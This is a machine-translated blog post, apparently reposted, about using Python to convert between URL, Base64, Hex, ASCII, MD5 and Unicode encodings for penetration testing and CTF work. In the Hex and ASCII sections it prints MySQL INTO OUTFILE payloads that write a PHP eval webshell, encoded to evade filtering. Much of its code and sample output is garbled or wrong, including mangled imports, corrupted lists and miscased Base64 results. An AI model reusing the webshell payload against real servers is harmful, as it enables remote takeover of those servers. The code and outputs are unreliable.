Magical Python Encoding Conversion

Turn from I spring and autumn

Article Difficulty degree: ★

Knowledge points: Python, encoding conversion

Objective

In daily infiltration, vulnerability mining, and even CTF competitions, you will encounter various encodings, often accompanied by various conversions between these encodings. Remember just getting started that time, their own handling of the code conversion problem is often "Baidu: URL decoding, base64 encryption, Hex ...", or the use of a "small Kwai multifunctional conversion tool" software, and then directly on the Burpsuite decoder function, feel very good. However, there are some problems: low online conversion efficiency (search takes up 2/3 of the time), two tools have some small problems, such as the burp in the Chinese language is often shown garbled.

Until I use Python as my daily Code conversion tool ...

Turn on the PY conversion tour

1

URL encoding

URL encoding is a format that a browser uses to package form input. It is one of the most familiar coding methods for web workers.

[Python]>>> fromUrllibImport*>>> quote ("Union Select Null,null,null")'Union%20select%20null%2cnull%2cnull'>>> unquote ("Union%20select%20null%2cnull%2cnull")'Union Select Null,null,null'>>> UrlEncode ({'x':'2333','y':'666'})'y=666&x=2333'

2

Base64

Base64 is often used as a parameter for Web forms and HTTP transmissions, and is often used for messaging protocol transmission of user information.

[Python] Import base64>>> base64.b64encode ("admin")'ywrtaw4=  ' >>> base64.b64decode ('ywrtaw4=')'  admin'

Remember that there was a CTF contest to Base32 decryption, the general website does not provide online decryption, seemingly no way to continue. But if you use Python it will be as simple as decrypting base64, just change the function:

Import base64>>> base64.b32encode ('jjjjj')'njvgu2tk  ' >>> base64.b32decode ('njvgu2tk')'  jjjjj'

3

Hex

Hex encoding is also a common encoding scheme in Web application. As a Web security officer, we know that MySQL injection can use hex to bypass the Htmlspecialchars () function to write Webshell.
Like what:

[SQL]

Select 0x3c3f70687020406576616c28245f504f53545b615d293b203f3e into outfile '/web/1.php '

Here's how Python implements hex plus decryption:

' <?php @eval ($_post[a]);?> '. Encode ('hex')'  3c3f70687020406576616c28245f504f53545b615d293b203f3e'print'  3c3f70687020406576616c28245f504f53545b615d293b203f3e'. Decode ('hex')  )<?php @eval ($_post[a]);?>

4

Ascii

The char () function in MySQL converts the ASCII code, which is why you can also use this feature to bypass the Htmlspecialchars () function.
Like what:

[SQL]

Select char (60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile '/web/1.php '

Using Python to convert a string to ASCII is simple, but the inverse conversion requires a little bit of action:

[Python] " <?php phpinfo ()?> " ) [104,,,,,,,,,,,,,,,,,,,,, 104, 102, 111, Max, 112,  >>> L = [up to, 104, 104, 111, 102, A, p, a, a, a.,] Rint'. Join (Map (chr,l))       # Here's the method Pcat cousin points out <?php phpinfo ()?>

5

Md5

MD5 in the Web security community can be said to be all-around, with his irreversibility, most websites store user passwords and other key data often use MD5 encryption. Sometimes we submit payload need MD5 encryption, this time with the following method can be easily implemented. Of course, the decryption of the words recommended to CMD5.

 from Import MD5>>> m = MD5 ()>>> m.update ('This isa secret') >>> m.hexdigest ()'7dbbcee180ba4d456e4aa1cfbdad9c7b' > >> m.hexdigest () [8:-8]'80ba4d456e4aa1cf'>>>

6

Unicode to Chinese

Unicode converts Chinese, which can be encountered in many cases. Especially when it comes to penetration testing. With burp words there will be the problem of Chinese garbled, in Python implementation is very simple.

Print u"\u4f60\u9700\u8981\u91cd\u65b0\u767b\u9646" you need to log in again

Magical Python Encoding Conversion